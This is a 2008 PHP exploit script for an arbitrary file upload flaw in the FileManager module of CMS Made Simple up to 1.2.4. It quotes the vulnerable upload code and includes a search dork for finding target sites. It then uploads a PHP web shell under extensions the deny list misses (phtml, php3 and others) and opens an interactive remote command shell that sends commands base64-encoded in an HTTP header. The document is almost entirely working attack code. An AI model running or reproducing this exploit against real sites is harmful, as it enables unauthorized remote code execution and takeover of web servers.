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cmsmadesimple-upload.txt

Posted on 13 May 2008

<?php

/*
---------------------------------------------------------------------------
CMS Made Simple <= 1.2.4 (FileManager module) Arbitrary File Upload Exploit
---------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple"

[-] vulnerable code in /modules/FileManager/postlet/javaUpload.php

21.	// Configuration ---------------------------------------------------------------
22.	// Change the below path to the folder where you would like files uploading.
23.	// e.g. "/home/yourname/myuploads/"
24.	// or "c:phpuploads"
25.	// Note, this MUST have the trailing slash.
26.	$uploaddir = '[PATH TO UPLOAD DIRECTORY]';
27.	// Whether or not to allow the upload of specific files
28.	$allow_or_deny = true;
29.	// If the above is true, then this states whether the array of files is a list of
30.	// extensions to ALLOW, or DENY
31.	$allow_or_deny_method = "deny"; // "allow" or "deny"
32.	$file_extension_list = array("php","asp","pl");
33.	// -----------------------------------------------------------------------------
34.	if ($allow_or_deny){
35.		if (($allow_or_deny_method == "allow" && !in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))
36.			|| ($allow_or_deny_method == "deny" && in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))){
37.			// Atempt to upload a file with a specific extension when NOT allowed.
38.			// 403 error
39.			header("HTTP/1.1 403 Forbidden");
40.			echo "POSTLET REPLY
";
41.			echo "POSTLET:NO
";
42.			echo "POSTLET:FILE TYPE NOT ALLOWED
";
43.			echo "POSTLET:ABORT THIS
"; // Postlet should NOT send this file again.
44.			echo "END POSTLET REPLY
";
45.			exit;
46.		}
47.	}
48.	if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .$_FILES['userfile']['name']))
49.	{
50.		// All replies MUST start with "POSTLET REPLY", if they don't, then Postlet will
51.		// not read the reply and will assume the file uploaded successfully.
52.		echo "POSTLET REPLY
";
53.		// "YES" tells Postlet that this file was successfully uploaded.
54.	    	echo "POSTLET:YES
";
55.		// End the Postlet reply
56.		echo "END POSTLET REPLY
";
57.		exit;

with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious
PHP code due to $file_extension_list array don't contains many dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function upload()
{
global $host, $path, $uploaddir, $file_ext;

foreach ($file_ext as $ext)
{
print "
[-] Trying to upload with .{$ext} extension...";

$data  = "--12345
";
$data .= "Content-Disposition: form-data; name="userfile"; filename=".php.{$ext}"
";
$data .= "Content-Type: application/octet-stream

";
$data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>
";
$data .= "--12345--
";

$packet  = "POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($data)."
";
$packet .= "Content-Type: multipart/form-data; boundary=12345
";
$packet .= "Connection: close

";
$packet .= $data;
$html	 = http_send($host, $packet);

if (!eregi("POSTLET:YES", $html)) die("
[-] Upload failed!
");

$packet  = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

";
$html    = http_send($host, $packet);

if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

sleep(1);
}

return false;
}

print "
+----------------------------------------------------------------+";
print "
| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by EgiX |";
print "
+----------------------------------------------------------------+
";

if ($argc < 2)
{
print "
Usage......: php $argv[0] host path";
print "
Example....: php $argv[0] localhost /cms/
";
die();
}

$host = $argv[1];
$path = $argv[2];

$uploaddir = rawurlencode("[PATH TO UPLOAD DIRECTORY]");
$file_ext  = array("dhtml", "phtml", "php3", "php5", "jsp", "jar", "cgi");

if (!($ext = upload())) die("

[-] Exploit failed...
");
else print "
[-] Shell uploaded...starting it!
";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "
cmsmadesimple-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Cmd: ".base64_encode($cmd)."
";
$packet.= "Connection: close

";
$html   = http_send($host, $packet);
//echo $html;
if (!eregi("_code_", $html)) die("
[-] Exploit failed...
");
$shell = explode("_code_", $html);
print "
{$shell[1]}";
}
else break;
}

?>

 

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